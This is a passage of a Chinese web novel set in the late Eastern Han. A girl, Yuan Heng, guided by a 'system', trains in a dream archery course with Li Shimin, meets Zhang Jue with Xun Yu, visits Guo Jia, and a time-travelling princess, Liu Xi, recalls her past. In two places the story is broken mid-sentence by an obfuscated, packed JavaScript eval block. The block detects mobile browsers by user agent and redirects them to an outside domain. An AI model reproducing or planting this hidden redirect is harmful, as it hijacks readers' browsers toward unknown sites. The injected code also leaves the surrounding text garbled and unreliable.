袁珩冷着脸带上行囊与拜访郭氏的礼物,冷着脸跟荀彧打了招呼,冷着脸上了马车。 她对系统宣布:【从今天开始我要做一个冷冰冰的、只知道读经典写课业的学习机器人,再也不会笑、不会活泼开朗了,让荀氏愧疚一辈子!】 系统:【……】 郭氏在阳翟县,荀氏在颍阴县,相距约四十里,折算成现代计量大约三十五公里左右,开车大约一小时。 但这是东汉,车、马、人都很慢,所以需要两天时间,毕竟还得整顿休息,又不是打仗,总不能不睡觉都在赶路。 袁珩想了想,遣人去问荀彧能否趁夜疾行,或许还能赶上次日郭氏府上的朝食。 荀彧当然是婉拒的,他自己倒无所谓,只是怕袁珩受不了。 袁珩只能在车里阴暗爬行,对唯一可以迫害的系统碎碎念——等我长大了,我一定要把荀彧捆在马上昼夜疾行四十里地! 系统筋疲力尽地想,原来这就是你口中的“吾未壮,壮则有变”吗? 无痛当妈又当爸的系统年纪轻轻就体会到了带孩子的悲苦,只能想尽办法消耗袁珩无处安放的精力:【客户,我有个好消息要告诉你!我向源位面为您申请的新手礼包刚刚被批准了,名师一对一实景骑射课程已经发送到您的账户!】 袁珩果然被转移了注意力:【哪位名师?】 系统看了一眼自己贷款买来的大师课程,为了达到更好的效果,它斥巨资购入了唐朝太宗文皇帝李世民的“大师直通班包过,胜不过李渊退全款”私教课程。 按说东汉和唐朝的兵器、马匹、地形都是全然不同的,这样的教学可能水土不服,但系统知道一点儿内幕消息,所以回答得很细节:【精通各时代骑射的李世民。】 袁珩听见这说辞,暗暗留了个心眼儿,面上却轻快地答应下来:【好呀好呀!系统你对我真好,谢谢你!】 系统诡异地感到了欣慰——看,我们未央还会说谢谢呢,多有礼貌啊。 按照设置,袁珩会在睡眠时进入实景课程空间进行训练,技能与体质会在每次阶段考核通过后同步到现实。 袁珩当即决定睡个回笼觉,入睡前不无期待地对系统说:【我还没见过唐太宗呢!】 系统溺爱道:【没事,唐太宗也没见过你。】 * 袁珩恢复意识的第一瞬间,就吃了一嘴的尘土。 她从地上爬起来,不动声色地打量着四周环境。 自己正身处林地之中,身穿鹅黄嫩绿的唐装;四下并无野兽,远处能隐隐看见帷帐与人马,应是有贵族围猎。 袁珩心下疑惑,附近一只野兽都没有,哪儿来的猎物给她学习射艺…… 忽而一支大箭破空而来,与空气摩擦出令人胆寒的铮鸣声,恰恰落在袁珩脚后跟! 袁珩:“?” 她下意识往前跑了几步,却见前面忽然多出二三十个面黄肌瘦、衣衫褴褛的黔首,正在围出来的猎场中哀嚎奔散;而唯一骑在高头大马上的人面带暴虐狰狞的狂笑,漫不经心地将箭矢对准袁珩。 袁珩:猎物竟是我自己! 这傻*东西还对左右兴奋道:“这还是个贵族家的小娘子呢!” 袁珩:“……” 艹,是李元吉! 是那个“当衢而射,观人避箭以为笑乐”的死爹玩意儿!! 我*你*的***!!! 袁珩虽然没素质,但她从来不骂脏话。 而事实证明,有的脏话是刻在骨子里的,不是不骂,只是时候未到。 袁珩眼见着自己成为“猎物”,面色比李元吉还扭曲,拔腿就跑! 李元吉认准了袁珩,十几支大箭全冲着她去,袁珩的衣裳很快被戳成了战损风,鞋子也跑掉了一只。 第十三支箭精准射中了袁珩的小臂,钻心刻骨的痛席卷全身,鲜血瞬间染红了她的鹅黄色半臂,晕开大片深红。 袁珩:“……” 袁珩的大脑陡然一片空白,并非疼痛,也绝非恐惧,而是一股堪称为荒谬、茫然的、不可置信的情绪。 ——我给你脸了?家里几个爹啊,怎敢这样对我?! 袁珩忍无可忍,强压住痛呼的本能,“唰”地拔出比她整条胳膊还长的羽箭。 第十四支大箭已经搭上弓弦。 袁珩面无表情地将箭捏在手里,丝毫不理会左臂血流如注,心平气和地问:“有弓否?” 话音刚落,一只满是厚茧的手从旁递出东西,正是一张轻弓。 第十四支大箭已经瞄准袁珩的眉心。 袁珩蹙眉,看向与自己父亲差不多年龄的英俊青年,试图商议:“太轻了。射不中李元吉。” 着秦王装束的李世民笑吟吟道:“试试吧,在这里是可以的。” 第十四支大箭已卧在满月弓弦上。 袁珩撇撇嘴,近乎粗鲁地夺过那张轻弓,将羽箭搭上,浓烈翻涌的噬骨恨意与滔天愤怒之下,她竟然冷静得出奇。 袁珩从前只在家中靶场练习过射艺。 袁珩从小到大就没受过伤、流过血。 袁珩自认君子,见其生则不忍见其死…… 杂念重重,她却仿若放空一般,满眼只有李元吉的咽喉,满心只有她要李元吉死。 “叮——” 袁珩飞速射出一箭,洞穿了李元吉的脸颊,后者发出一阵杀猪般的嚎叫,脸上的血喷涌而出,第十四支大箭摇晃着坠落在地。 袁珩一下子拥有了救赎感,开朗大笑:“*的,爽了!” 李世民:“……” 李世民叹了口气。 袁珩怒气值瞬间回升,张嘴就是乱咬:“大王是在心疼弟弟?” 而后把逃命两刻钟的旧账翻出来,怨念颇深:“这就是骑射课程?李元吉骑射,我是课程?” 李世民老实地摇头,诚恳地回应:“没心疼李元吉,在头疼你的准头。” 明明瞄准的是咽喉,李世民露出了天策上将的不解:区区百步距离,李元吉又那么显眼,怎么只射中了脸颊? 又耐心解释:“方才是为了锻炼你的耐力与体力。你心性极佳,能忍常人所不能忍,但体力上的忍耐又是另一回事。” 总结:袁珩还得谢谢他呢。 李世民看着一脸生无可恋的袁珩,微笑:“现在,我们开始第二轮。” …… 袁珩睁开眼。 死死地睁着,连眨眼都不敢,生怕自己不小心睡过去,又重回李世民的噩梦级别课程。 当过了李元吉的猎物、雁门关的流民、玄武门的宫女,袁珩已经不是一个时辰前的袁珩了,她现在是袁珩(已黑化)。 刚巧行至临水的岸亭处,一行人暂停整顿休息,顺道在河畔饮马。 荀彧邀请袁珩出来透气,说嗅到附近有降真香气,想去看能否买一些。 袁珩什么都没嗅到,惊奇地想——不愧是你,荀香令。 袁珩对于香道没什么特别的兴趣,但时下用香是一种风尚,许多贵族甚至到了奢靡尚奇的地步。 经典案例:刘宏荒淫享乐,包括但不限于亲自卖官鬻爵、把皇宫改造成大型商业集市,其中就有香市。 袁珩出身顶级门阀,那更是早就被香料腌入味儿了,平时的卧褥、衣裳、书房、沐浴都不提,如今她腰间也坠有蜀锦的流香缨。 袁珩与荀彧循着香气漫步而行,十余名部曲相随,一半来自荀氏,另一半来自袁基,于是两个人过分谨慎,连话都不敢说一句。 袁珩实在觉得太安静了,决定找个合适的暖场话题:“今日天气不错啊。对了,世兄如何看待天子卖官鬻爵之事?” 荀彧:“……” 这是可以在外面说的吗? 袁珩见他不语,就很顺畅地换了个话题:“那世兄往后有何打算?准备几时出仕?可有想去的郡县?” 荀彧:“…………” 怎么会有人明明才八岁,一张嘴却跟长辈没什么区别? 但这个问题明显更好回答,荀彧略想了想,说:“应当再过两年。先在颍川做事,待学问与处世更精进时,再举孝廉。” 原本的历史上,荀彧也确实是先在颍川郡做主簿,后来举孝廉入洛阳,拜为守宫令。 袁珩若有所思,压低声音问道:“珩有游学的打算,只怕家中大人不肯。你我既为同盟,待来日世兄建业之时,可否为珩遮掩一二?” 荀彧看她一眼,微笑轻声:“珩女公子,彧还想多活几年。” 袁珩不死心:“我只是思念昭姬,想去访友而已,没有别的意思……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15790984|174954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 荀彧:“你若是只有这个想法,公业世叔又怎会不允?” 说罢又犹豫了一下,声音极低地暗示:“若是想‘游学’,便如今次拜访颍川郭氏行事便好。” 很显然,袁珩是关不住的,荀彧也觉得她该多去外面增长见识,不过直接这么跟家中讲,有八成概率要被一口回绝。 但若是有合理的访友名头,且访的这位“友”还是别人家的孩子,或许能有七成概率被肯定。 说话间,两人已行至降真香的源头,一个依水而建的小村,田垄间坐着几十个瘦削青年男女和稚童,无不注视着树下那名高大静默的中年男子。 男子身着长袍,在焚烧的香雾中分发符水,他面容黝黑泛黄,袁珩甚至还能从他的指尖看见劳作的痕迹;但他脸上肃穆的、怜悯的、慈悲的神情,却为之覆上一层质朴自然的神性。 那不是汉朝皇帝、汝南袁氏、颍川荀氏会认可推崇的神性,因为他不够圣洁光明,不够鲜艳夺目,因为他是从田地和黔首中长出来的一尊泥菩萨。 他终将自身难保,他注定不成气候。 袁珩近乎入神地盯着他,这位掀起黄巾起义的领袖人物——她想起自己问过荀攸的问题,此刻便自然生出同问张角的意图。 荀彧看她一眼,心下微微叹气。 他不得不失礼地摁住袁珩肩头,温声:“不要过去。” 不要过去。 袁珩垂眼,看向微微抬起的那只珠履,多么华美艳丽啊,田间的泥淖会染脏它。 但华美自有华美的用处—— 刚才课程中因为有她这个华服珠饰的靶子,所以那些利箭便只朝她而来,其他一起躲避的黎庶得以有片刻喘息。 袁珩抬头,若无其事地笑了笑:“世兄多虑了。” 荀彧盯着她看了片刻,而后蹲下身,是一个能与袁珩平视的角度;田垄处降真香的浓艳与他身上蕙兰香的清雅搅在一起,薰得袁珩有些头晕目眩。 荀彧的目光很平静,又幽深,在夕阳的残晖中折出清光,是天上的玉仙子:“未央,那不是我们能承担的后果。你终会有你自己的道。” * 袁珩最终没能与张角说上话,甚至她连靠近都不能够。 荀彧却同士族看不起的太平道人买来了次品降真香,又亲身过去查验,不知与张角说了什么,叫后者微微愣住。 袁珩站在村外,远远看着泥菩萨和玉仙子相对而立,不由沉思。 我会有自己的道。 这不是做谋士、做武将、做皇帝的问题,而是“我是谁,我从哪里来,要往哪里去”的问题。 那么,我是袁珩,是裹在门阀贵女画皮下的黔首,从光明璀璨的时代而来,身在苍生煎熬的时代之中,要往生产力所能容纳的、最利民的时代去。 我要为黎民剑,为苍生盾;而若想做到这一点,我便绝不能摒弃自己的门阀出身。 这就是我的道。 袁珩在田头悟道,想了很多很多,系统捕捉到她堪比蹦极的情绪波动,迟疑着说:【客户有杀意。】 是想要杀谁? 袁珩笑得很甜:【我这个人很善良的,见其生则不忍见其死;汝南袁氏子弟,我只与阿父、伯父亲近,其他的人没怎么见过。】 系统:【……】 可你好像并不是表现出来的这么不在意啊。 系统迟疑着想,要不再贷款给我们未央买点儿零食…… 各怀心事间,荀彧回来了。 他神情仍是平日里的温润模样,俯身对袁珩说的话却如同雷霆乍惊。 “我已与这位大贤良师约定,一旬后于阳翟县郊论道,你要一起来吗?” 袁珩瞪大眼,不无惊异地看着荀彧。 ——说好的“那不是我们能承担的后果呢”? 荀彧却微笑:“堵不如疏。” 而后又悄声警告:“只是绝不许告诉公达,其他人也不行——我还想多活几年。” 袁珩便严肃而认真地起誓许诺,而后嘴角忍不住疯狂上扬。 珠鞋踩在尘土上,精巧的绣面沾上了难以察觉的污点,袁珩却浑不在意,嘴里还哼起了《无衣》。 任谁都能看出,袁珩的心情是前所未有的好。 系统却不太好。 ……荀文若,你抢我工作干什么? 10. 我怜她兰摧玉折 次日飧食前,袁珩与荀彧抵达郭氏府上。 颍川郭氏是东汉初起家,后几出高官大儒,只是今时不如往日,唯有郭嘉一人堪称耀祖。 不过也很厉害了,郭氏与袁氏相比固然算寒门,但寒门再怎样寒,它到底也有个门呢。 袁珩见到了郭嘉,这位死后让曹操念念不忘的奇佐,曹操指定唯一知晓他心意的军事鬼才。 十岁的郭嘉颇有些不拘小节、洒脱不羁,互相见礼后,他的第一句话是—— “令尊当真有扮作女子之癖?” 袁珩、荀彧:“……” 郭嘉的叔父眼皮一跳,扒拉了一下侄儿,打圆场:“你这孩子,怎么说话呢!” 袁珩觉得挺有意思的,还真回答了这个问题:“他当真没有。” 郭嘉就露出了一种安心的神色:“令尊如此风流人物,怎会有此怪癖?嘉早就知道是谣传。” 确实。别的不说,袁绍要颜值有颜值,要智谋有颜值,要远见有颜值。 袁珩微笑:“嗯,嗯,当然。” 郭嘉你就神往吧,等再过十几年你见了本人就要塌房了,嘻嘻。 * 袁珩与荀彧在郭氏研学,这是荀彧第一次直面袁珩的聪颖,也是他第一次直面袁珩的顽固。 他有些共情荀攸对袁珩的又爱又恨,爱她一点就通、一通百通,恨她通了但不放在心里,脑子里的想法一个比一个暴力。 ——莫非我们公达也要如先祖一般,教出个法家弟子? 系统在暗中注视着荀彧,看他翻来覆去为袁珩讲解《公羊》,看他每到快崩溃时只需要闭一闭眼就能调理好,不由代码衔恨。 为了不让荀彧太难熬,我们未央都不肯上我给她贷款买的骑射课程了,竟也认真研学起她最排斥的《春秋》来。 明明是我先……! 旁边的郭嘉却反过来劝荀彧:“阿珩心性如冰,剔透且坚,从来不是学不会,而是不愿学。世兄何必强求?” 荀彧深深看了眼一脸无辜的袁珩,叹道:“我不求她认可这些道理,只求她知道、了解,这难道很过分吗?” 又大为不解:“同为史书——《尚书》暂且不论,你既能诵读《史记》,为何偏如此排斥《春秋》?” 袁珩短暂地沉默了一下。 没说是因三年前与袁绍争论“郑伯克段于鄢”时对《春秋》产生了排斥,只老老实实道:“我会尽力的。” 郭嘉无条件支持好朋友:“不尽力也没关系,世兄又不会怪你。” 荀彧:“……” 荀彧难得目光不善地瞪了眼郭嘉。 确实如此,但如果袁珩真听进去了,我可能会怪你。 这是在颍川郭氏的第八日,是袁珩与郭嘉诡异地成为了朋友的第八日,也是荀彧被袁珩和她的狐朋折磨的第八日。 袁珩掰着指头数日子,很期待后天与张角“论道”,雀跃地对系统说:【后天真是个好日子,既是月底结算,又能与张角见面呢!】 她却不知道,同样有人——一位纵马疾驰而奔颍阴来的远客,在听说她去阳翟访友后又打道回府,遗憾着未能与她见一面。 是夜,有一封信与名刺自荀氏转寄而来,言说与袁氏女公子神交久矣,朝起相思之意,极夜命架而来;然时不怜我,恨咤而返,今以信载名,见字如晤,惟盼来日相见。 名刺与信送到袁珩这里时,她有些疑惑:“我在何时与何人神交久?” 荀彧莞尔,而后点了点名刺。 武遂公主,刘羲。 “……” 哦,那位莫名其妙很自来熟的大孝子啊。 袁珩本有些忧虑,总觉得这件事怎么看怎么诡异;但好在她非常擅长自我调节,很快就说服了自己。 能有什么大问题呢? * 这问题可太大了。 折返信都路上的谒舍中,一名身量七尺有余的清艳女郎立于廊下,远山深眉下一双凤眼若星子点漆,面带苦意。 气韵一派光风霁月,任谁来看都觉得她在忧国忧民,不敢惊扰,更何况武遂公主刘羲是闻名遐迩的孝子,说不定在思念父王呢? 刘羲:其实不然。 她所忧所虑者,另有其人。 ——谢邀。人在平行世界东汉,魂穿满打满算八年,有成功封为乡公主、捧杀弱智兄长、资助张角并与其长线合作、暗杀恶毒前未婚夫、使用爹味父王晋为县公主等经验,战绩可查。 刘羲的前世乏善可陈。 父母不详,年近而立医学博士毕业,业余爱好不过搞搞史同;博士毕业归来仍是规培,通宵值班第三天惨遭恋爱脑医闹,怒急攻心下猝死。 死前唯一执念,是没能打卡圈内美帝cp的大屏。 这个时候就有人要问了:刘羲啊刘羲,人人都说自家产品是美帝,你又凭什么这么笃定? 若是穿越之前,刘羲能跟你说三天三夜——这是我们东汉末年最荡气回肠的真夫妻,三国唯一美帝产品:彧珩! 先来一段后汉书原文: 袁珩字令音,汝南阳人。父基……这段不重要,跳过。珩少有才名,能作策论,素有远志。汝南许劭奇之曰:失鹿之虎豹,从龙之凤鸾。夸她孝顺,跳过。后嫁颍川荀彧,常共商国是,同读经典。珩叔父绍谓人曰:“此香兰美玉之盟也。” 看见没,香兰美玉之盟! 看见没,他俩共商国是、同读经典,不仅是夫妻,更是志同道合的盟友! 再来几部分后汉书、三国志中记载的抠出来的糖点。 第一,荀彧与袁珩是这个时代背景下难得的、真正的一双人。曹操曾欲赠给荀彧美妾,荀彧拒绝了,原因是袁珩“凤鸾之才,神女之姿;自见令音,蛾眉皆白骨”。 第二,董卓之乱后,荀彧与袁珩共投曹操,得其看重。荀彧机鉴先识、居中持重;袁珩多献奇策,劝课农桑。你看,连路线都这么般配! 第三……第四……第十六…… 以及镇圈的第二十一。 官渡之战,曹操大败袁绍。 因袁绍是袁珩生理意义的父亲、社会意义的叔父,荀彧又与汉帝刘协有师生之谊,双重buff叠加之下,哪怕荀彧与袁珩都做出了很大的贡献,也依然使曹操生疑。 所以曹操设宴延请二人,醉后故意试探,问夫妻俩的君臣父子观。 ——前世的刘羲每次看到这里都要骂一句曹贼!你都问这种基本价值观问题了,那他俩还能说些大逆不道的话不成?欲加之罪,何患无辞! 但如今的刘羲却觉得,单说起疑心这事儿真不能怪曹操,这两人的身份与立场,换谁谁不心里打鼓? ……曹贼原是我自己! 言归正传,总之曹操疑心更重了,将两人调离中心。 又过几年,曹操有了更进一步的想法,他这回并没有试探的意思,因为送到荀彧案上的是他已经决定进为魏公的通知,以及一只据说装了糕点的空盒。 荀彧饮药而卒。 袁珩失去了族人,失去了父亲,如今又失去了志同道合、风雨同舟的丈夫;彼时她被软禁在颍川,听说荀彧死因后,竟领了部曲与受过恩惠的乡民闯入许都,一把火烧了曹操的相府,又杀了曹操最看重的儿子曹丕。 当许都兵马欲擒袁珩时,却发现袁珩已以伏跪的姿态自刎而死,以发覆面,遥叩祖地汝南方向。 她的绝笔很短,而已写尽半生。 ——“昔我不孝,魏公不忠,此狼狈也;今尔不仁,故我不义,此因果也。哀哉祖宗考妣,其家门不幸!哀哉苦贞愚烈,则兰摧玉折!哀哉世无英主,而明珠暗投!” 曹操当场就气得犯了头风。 他本没有要袁珩死的想法,毕竟他与袁绍曾是好友,毕竟袁珩不似荀彧向汉,毕竟袁珩曾也喊他“孟德世叔”。 可再多的“毕竟”,也抵不过袁珩杀了曹丕的事实。 于是荀彧的尸身得以还乡,袁珩却被下令曝尸于荒野,整整三月无人为其收敛。 直到后来刘协为了给曹操添堵,执意追谥已故尚书令、万岁亭侯荀彧为“贞”,已故汝南郡守、安国亭侯袁珩为“烈”,才勉强算入土为安。 前世的刘羲边敲木鱼边嗑生嗑死——你看,他们就连谥号都是情侣名。 然而刘羲前世对彧珩cp有多偏执,穿到东汉末年后就有多绝望;事实证明大多数人都是叶公好龙,真让你身临其境嗑你绝不会高兴。 刘羲是有金手指的,作为医学博士,她拥有一个适配度极高的、不带AI的神医签到系统,光凭这个她就能熬死汉末群雄。 刘羲并没有刻意打听自家cp的消息,因为不想当皇帝的史同女不是好医生。 来都来了,又姓刘,不如直接做大做强吸引人才投效,既能给荀彧想要的汉祚延续,又能给袁珩想要的明主,届时顶峰相见,再来一段青梅煮酒论英雄……他们三个把日子过好比什么都重要。 这时的刘羲,还带着许多不合时宜的天真。 她自认不是刘秀那样的天选之子,最大的优点便是没有傲慢心,不会凭借后来者所谓先知的身份高高在上俯瞰古人。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15790985|174954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 所以天真的刘羲选择将自己放入尘埃,她游侠时杀过酷吏山匪,救过将死之人,后来还加入过太平道。 刘羲至今难以忘记那个干旱燥热的夏日,她只有十二岁,携带的粮食被她救治过的流民哄抢,混乱中还受了很严重的伤。 她卧倒在道旁,看饿殍遍野,看人性崩坏;看悠悠苍天端坐神台而不肯怜,看漫漫长路通往幽冥而不放还。 她有能救自己一命的药,却宁愿就这样悄无声息地死去。 第二次濒死,刘羲又想起了自己嗑的cp。 她想——袁府君,荀令君,原来你们就是在这样的世道里,拥有了风雅的香兰美玉之盟。 意识模糊间,刘羲又突兀想起蔡琰。 原来这就是蔡琰的《悲愤诗》,这就是“欲死不能得,欲生无一可。” 当苦难铺陈在眼前,将自己打碎进尘埃的刘羲,几欲心痛而死。 张角就是在这时候出现的。 他替她上药,用的是乡间不知名的、不曾被炮制过的药草。 他给她符水,是刘羲前世最为反感的“愚昧无知”。 可她毫不犹豫地喝了下去。 味道有些怪异,原来浸泡了药汁——于是刘羲从此了悟,苍生是有味道的。 是符灰的涩,是药汁的苦,但混在一起又有微末的、难以察觉的回甘。 刘羲选择了跟随张角。 张角问她:“不回安平国去吗?你模样太打眼,会被认出来。” 原来她贵族的身份这般一览无遗,原来这个世道人与人当真是云泥之别。 刘羲不愿回去。 她随张角行八州传教,学会了如何不易察觉地将药粉兑入符水;她看着如跪拜神明一般跪拜张角的黔首,恍惚想起许久许久以前,有人问她为什么学医。 ……因为想救人。 于是有人笑她天真,说劝人学医天打雷劈,说她理想主义。 真有趣,刘羲竟然在黑暗的乱世前夕,找回了自己的初心。 一年半后,刘羲辞别了张角,要回安平国去把事业做大做强了。 她依然想要袁珩与荀彧,却不再只想要袁珩与荀彧。 张角摆摆手,一如曾经没有劝她离开一样,也没有劝她留下:“好。” 这一年半里,刘羲兑换过许多种药,消炎的退热的止咳的防疫的,唯独没有祛疤的。 她的躯干上如今多有蜿蜒起伏的瘢痕。它们是史书。 刘羲纵马归家,途中偶尔治治病,时常黑吃黑。 她迫不及待地要建立自己的事业。 烈侯啊,原来这就是你那篇被中学课本收录的《辞君表》。 原来这就是你说的——故不为天子剑,而作苍生盾;故无悲天悯人泪,而溅济世安邦血。 刘羲心想,袁珩之于我,恰如孔明之于刘备。 不,这是比他们更加深刻的情谊与宿命——最初我只看见她的风雅故事,她的惨烈结局,在戏外唏嘘不已;可如今我来到戏中了,便自然爱她高才奇谋,怜她明珠暗投。 袁府君,这一次你不用再哀哉世无英主了,因为你的主来了。 从霍岭口中听见那句谶纬时,刘羲便觉得自己的心一定。 是她。 袁珩,袁令音。 而等到今年初,她入洛阳结识了蔡琰,结识了其他士族门阀子弟,更加真切地感受到袁珩是一个鲜活的人,而非史书上寥寥几页板正漆黑的字。 数日前刘羲偶然起意想见一见袁珩,然而或许苍天也觉得她太急了,还不到时候;所以“珩女公子与文若同去阳翟游学”,不知归期。 其实她曾无数次想象过自己与袁珩初见的场景。 什么三顾高阳里,与袁珩倾盖如故,相携漫步于荀氏府中,饮酒达旦、抵足而眠啊。 什么许都街头一个擦身回眸,她捡起袁珩遗落的玉佩追上去还给她啊。 什么两军对阵,她大败曹营后俘虏袁珩,奉为上宾;袁珩若不肯,她便“苦果亦是果”,袁珩若肯,她便“吾之子房”啊。 甚至是拉着袁珩对曹操贴脸开大,“汝谋士吾自养之,汝勿虑也”啊…… 或许这就叫,暗恋(划掉)思贤是一个人的兵荒马乱。 但无论哪一个,袁珩至少都是少年时期了。 所以,正如方才所言,这件事一直有个问题,且这问题在刘羲冷静下来了打道回府,才叫她后知后觉。 刘羲席地而坐,托着下巴,目有愁色。 ……所以,为什么袁珩今年才八岁? 11. 春秋笔法小〇代 次日用过朝食,袁珩一边跟郭嘉一起整理书箱,一边对系统碎碎念。 【所以我到底什么时候和她神交久矣了?】袁珩用抱怨来掩饰微妙的担忧,【故弄玄虚。】 系统没说话。 袁珩滋哇乱叫:【你怎么不理我呀?你快理理我,跟我一起骂几句!】 系统:【我在,我在的。】 袁珩就继续絮絮叨叨,系统却第一次没有认真听。 它刚才去记录“宿命”了——那位冥冥之中注定与袁珩三次错过的刘羲,已经错过了第一次。 是的,一共三次。这是系统经过精密计算得出的结果。 系统从本源位面而来,在庞大复杂的多元宇宙中穿梭,以刘羲身上的辅助工具“神医系统”为锚点,选中了具有唯一性的袁珩。 多元宇宙可以简单理解为世界观的设置。恰如这个宇宙没有袁谭只有袁珩,那么在其他多元宇宙,袁谭可能是某种红皮肤黄眼睛的无性别生物,也可能是一头普普通通的猪。 同时多元宇宙也嵌套了平行宇宙。宇宙会因为决策的不同分化出全然不同的走向,譬如:袁珩今天是否选择打一顿荀彧,就会导向不同结果。 系统之所以选中袁珩,是因为刘羲这个变量。 刘羲的意识因执念深刻,从平行宇宙“跃迁投射”过来,让系统注意到了这里;而在刘羲原本的时空中,袁珩没有被系统绑定,也没有被激活前世记忆,结局惨烈,所以才让刘羲有了执念…… 简而言之。 曾经的袁珩,造就了穿越的刘羲。 穿越的刘羲,造就了如今的袁珩。 于是系统用了一个再贴切不过的词。 宿命。 在瑰丽的、神秘的、庞大而深不可测的宇宙中,她们互为因果,组成命运的闭环;她们是量子纠缠中的两个粒子,无论相隔多远,却在某一瞬时产生了关联,继而共享命运。 系统被自己的形容感动得无以复加,这不比跟荀彧有宿命感多了?我们未央还不如住刘羲家里呢。 但规则所限,它什么都不能说。 袁珩不知道系统精妙的小巧思,更不知道它已经写了一万篇小作文。 她今日骚扰系统任务已完成,继续神清气爽地搬书。 东汉末年,纸已经渐渐普及了,但士族门阀家中藏书也好,官方文书也罢,大多还是简、帛所制。 十岁的郭嘉搬得气喘吁吁。 八岁的袁珩搬得轻松自在。 十四岁的荀彧在门外站定,像监工一样指挥。 七月流火,九月授衣;如今快要入冬了,这几年中州冬日多雨雪,书籍若不好好安置怕要受潮发霉。 在袁氏、荀氏府中,这类事自有专人负责,但昨日袁珩见郭氏仆婢搬书多有不当,就没忍住自己上手了。 彼时郭嘉大吃一惊——怎么能让才八岁的袁氏女公子动手! 他当下就要从袁珩手中接过木箱,袁珩无辜地看他一眼,没拒绝。 然后就没有然后了。 郭嘉:“阿珩你哪儿来这么大的力气!” 袁珩一本正经:“我从四岁就开始靠搬书锻炼力气,如今已能徒手掰断小臂粗的木头。” 她说完,就当场表演了一段。 系统:【……】 它眼睁睁看着郭嘉信了袁珩的鬼话。 于是就有了今日一起搬书的活动,袁珩还特地问了荀彧要不要一起。 荀彧眼皮一跳,委婉询问:“是郭嘉提议的吗?” 袁珩就很老实地告诉他不是,是我听说郭嘉有些体弱,特地拉着他一起锻炼。 荀彧:……这又是从哪儿听说的? 荀彧没有加入,但选择了旁观。 而后,他第一次直面了袁珩的强壮与郭嘉的虚弱。 那边袁珩放下第十个箱子,状若无意地看了眼四周,确认只有荀彧和郭嘉在,便有些按捺不住。 此时不造谣,更待何时! 好些词条都没法儿贴脸开大,袁珩特地让系统开了个【死了么】特别板块,能用就用。 有的主角寿数不长,等不到自己跑过去当面说;有的主角能让她寿数不长,当面说纯属找死。 袁珩精挑细选,终于选出一条推荐指数为5,有发挥余地,还绝不会被告状的。 - 【野史-中级】 【287. 据野史记载,袁基曾被暴怒的袁绍摁在榻上,泪水顺着鬓发滑入玉白锁骨,他哽咽着承受本不该被他承受的痛楚,恍惚间,他呢喃着质问袁绍:为什么……】 【状态:未完成(暂时)】 【分数:0/100(暂时)】 【推荐指数:5/5】 【可获得成就点:200-999】 - 袁珩根本不敢看第二眼,合理怀疑写出这段话的不明存在也是如此! 她不想被双爹奇兵联手打一顿,只能委屈一下好朋友了。 她一边蓄势待发,一边同系统闲话:【幸好这段时间研读《春秋》,收获颇丰。】 系统想起从温润君子逐渐异变成忍人的荀彧,对此持保留意见:【怎么说?】 【我学会了春秋笔法。】 【……】 系统无言以对,第一次对荀彧产生了正向的怜悯情绪。 袁珩看了眼荀彧,又看了眼停下来休息的郭嘉,故作迟疑模样。 荀彧心生不祥预感,决定假装没听见。 但郭嘉却很把朋友放在心上,关切问:“阿珩是有话想说?” 荀彧心中不祥预感更甚,开口企图打断对话:“未央是累了?要不先去躺……” 话音未落,袁珩便长长地叹了一声,婉转得堪比山路十八弯。 郭嘉更为关切:“有什么烦心事,但说无妨。” 荀彧:“……” 荀彧心中不祥忽然落地:这对话太熟悉,依稀袁珩进学的第一日便发生过…… 果然,袁珩愁容满面,一副很为长辈担忧的嘴脸:“实不相瞒,珩先前不慎撞见伯父与阿父争执。听那动静,阿父仿佛还动了手,将伯父打得摔在了榻上……珩心下忧惧,只敢远远窥视,便见伯父鬓发散了、衣襟也乱了,似乎流了几滴泪,又质问阿父‘为什么’……” 袁珩泰然自若造完谣,对系统得意道:【如何,我就说我学得不错吧?你看,重叠率也高了,他俩的清誉也保住了;这还是个推荐值为5的词条,这一单干完,我能休息一个月!】 哼!将炸裂禁忌背德桥段改成《小〇代》风格扯头冠文学,就问问有谁能如她一般逆转乾坤! 系统觉得袁珩得意的样子特别可爱,立马捧场:【我们未央就是聪明!】 袁珩被认可了,本就不多的心虚烟消云散,理直气壮且目光清澈地看向荀彧和郭嘉。 荀彧、郭嘉:“……” 荀彧、郭嘉:“…………” 他们迟迟不能回神。 袁珩的话有着高级的留白。 譬如郭嘉极其自然地填补了信息:袁绍这是扇了袁基一耳光。 譬如荀彧极其顺畅地串联了因果:袁绍因过继一事,对袁基大为不满。 郭嘉总觉得哪里不对,又觉得哪里都能对上;唯一有疑的便是殴打与痛哭两件事本身,可话又说回来,自己还能有袁珩了解他们吗? 你看袁珩仿佛对此习以为常…… 年幼不经事的郭嘉跳进了名为袁珩的兔子洞。 而有经验的荀彧却很快从兔子洞里爬了出来,艰难地寻回了理智,本想斥责几句,但见袁珩身后十口大箱子,又顿住。 ……也很辛苦啊。这次先算了。 荀彧看了眼呆滞的郭嘉,温和地对袁珩说:“未央怕是将梦魇当真了吧?稍后我替你换一个安神的帐中香。” 他用最平静自然的语气替袁珩打了圆场,同时把郭嘉拉出了深渊。 